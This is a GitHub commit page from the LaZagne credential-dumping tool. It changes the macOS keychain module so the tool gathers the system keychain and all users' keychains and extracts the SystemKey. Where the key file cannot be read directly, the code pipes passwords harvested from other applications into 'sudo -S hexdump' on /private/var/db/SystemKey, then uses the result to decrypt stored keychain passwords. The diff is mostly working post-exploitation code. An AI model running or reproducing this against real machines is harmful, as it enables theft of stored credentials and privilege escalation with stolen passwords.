Skip to content

Commit

Permalink
manage system keychain
Browse files Browse the repository at this point in the history
Former-commit-id: f0887af90f5800435175826bc28722df76eb3aba [formerly a5995da]
Former-commit-id: f8b1b042303316f36c13f781e558d50f94a8f192
  • Loading branch information
AlessandroZ committed Dec 4, 2017
1 parent 07abd54 commit 43fc5fe
Show file tree
Hide file tree
Showing 2 changed files with 62 additions and 40 deletions.
91 changes: 56 additions & 35 deletions Mac/lazagne/softwares/system/chainbreaker.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,8 @@
from lazagne.config.write_output import print_debug
from lazagne.config.moduleInfo import ModuleInfo
from lazagne.config.constant import *
import subprocess
import binascii
import traceback
import os

Expand All @@ -15,7 +17,7 @@ def __init__(self):

def list_users(self):
users_dir = '/Users'
users_list = []
users_list = []
if os.path.exists(users_dir):
for user in os.listdir(users_dir):
if user != 'Shared' and not user.startswith('.'):
Expand All @@ -33,19 +35,48 @@ def list_keychains(self, keychains_path):

def run(self, software_name=None):
pwdFound = []
# all passwords found on other applications
passwords = constant.passwordFound

# password entered by the user using the --password parameter
if constant.user_password:
passwords.insert(0, constant.user_password)

# System keychain
keychains = self.list_keychains('/Library/Keychains/')

for password in passwords:
# Users keychains
for user in self.list_users():
keychains += self.list_keychains('/Users/{user}/Library/Keychains/'.format(user=user))

# system key needs admin privilege to open the file
system_key = ''
try:
# try to open it (suppose the file has bad privilege or that the tool is launched with sudo rights)
key = open('/private/var/db/SystemKey').read()
system_key = binascii.hexlify(str(key[8:32])).upper()
except Exception, e:
print_debug('DEBUG', 'SystemKey file could not be openned: {error}'.format(error=str(e)))
try:
# try to open the file using a password found (supposing a password is also used as a system password)
for pwd in passwords:
c = 'sudo hexdump -e \'16/1 "%02x" ""\' -s 8 -n 24 /private/var/db/SystemKey |xargs python -c \'import sys;print sys.argv[1].upper()\''
cmd = 'echo {password}|sudo -S {cmd}'.format(password=pwd, cmd=c)

p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = p.communicate()
if stdout:
system_key = stdout.strip()
print_debug('INFO', 'SystemKey found ({system_key}) with sudo password {pwd}'.format(system_key=system_key, pwd=pwd))
break
except:
pass

for keychain in keychains:
pwd_ok = False

# System keychain
for keychain in self.list_keychains('/Library/Keychains/'):
print_debug('INFO', 'Trying to dump keychain: %s' % keychain)
for password in passwords:
print_debug('INFO', 'Trying to dump keychain {keychain} with password {password}'.format(keychain=keychain, password=password))
try:
creds = dump_creds(keychain, str(password))
creds = dump_creds(keychain, password=str(password))
if creds:
pwdFound += creds
pwd_ok = True
Expand All @@ -59,34 +90,24 @@ def run(self, software_name=None):
print_debug('ERROR', 'Check the password entered, this one not work (pwd: %s)' % str(password))
print_debug('DEBUG', traceback.format_exc())

if pwd_ok:
break
if pwd_ok:
break

for password in passwords:
pwd_ok = False

# Users keychains
for user in self.list_users():
user_keychains = self.list_keychains('/Users/{user}/Library/Keychains/'.format(user=user))
for keychain in user_keychains:
print_debug('INFO', 'Trying to dump keychain: %s' % keychain)
try:
creds = dump_creds(keychain, str(password))
if creds:
pwdFound += creds
pwd_ok = True
constant.user_keychain_find = True
constant.keychains_pwd.append(
{
'keychain': keychain,
'password': str(password)
}
)
except:
print_debug('ERROR', 'Check the password entered, this one not work (pwd: %s)' % str(password))
print_debug('DEBUG', traceback.format_exc())
if pwd_ok:
break
if system_key and not pwd_ok:
try:
creds = dump_creds(keychain, key=str(system_key))
if creds:
pwdFound += creds
pwd_ok = True
constant.keychains_pwd.append(
{
'Keychain': keychain,
'System Key': str(system_key)
}
)
except:
print_debug('ERROR', 'Check the system key found, this one not work (key: %s)' % str(system_key))
print_debug('DEBUG', traceback.format_exc())

# keep in memory all passwords stored on the keychain
constant.keychains_pwds = pwdFound
Expand Down
11 changes: 6 additions & 5 deletions Mac/lazagne/softwares/system/chainbreaker_module/chainbreaker.py
Original file line number Diff line number Diff line change
Expand Up @@ -709,9 +709,8 @@ def kcdecrypt(key, iv, data):

return plain

def dump_creds(keychain_file, password):
def dump_creds(keychain_file, password=None, key=None):
keychain = KeyChain(keychain_file)


if keychain.open() is False:
print_debug('ERROR', '%s Open Failed' % keychain_file)
Expand All @@ -730,8 +729,11 @@ def dump_creds(keychain_file, password):
tableCount, tableEnum = keychain.getTablenametoList(RecordList, TableList)

# generate database key
masterkey = keychain.generateMasterKey(password, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]])
dbkey = keychain.findWrappingKey(masterkey, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]])
if password:
masterkey = keychain.generateMasterKey(password, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]])
dbkey = keychain.findWrappingKey(masterkey, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]])
else:
dbkey = keychain.findWrappingKey(unhexlify(key), TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]])

# DEBUG
print_debug('DEBUG', 'DB Key: %s' % str(repr(dbkey)))
Expand Down Expand Up @@ -788,7 +790,6 @@ def dump_creds(keychain_file, password):

for internetpw in internetpw_list:
record = keychain.getInternetPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_INTERNET_PASSWORD]], internetpw)
# print '[+] Internet Record'
try:
real_key = key_list[record[0][0:20]]
passwd = keychain.DBBlobDecryption(record[0], real_key)
Expand Down

0 comments on commit 43fc5fe

Please sign in to comment.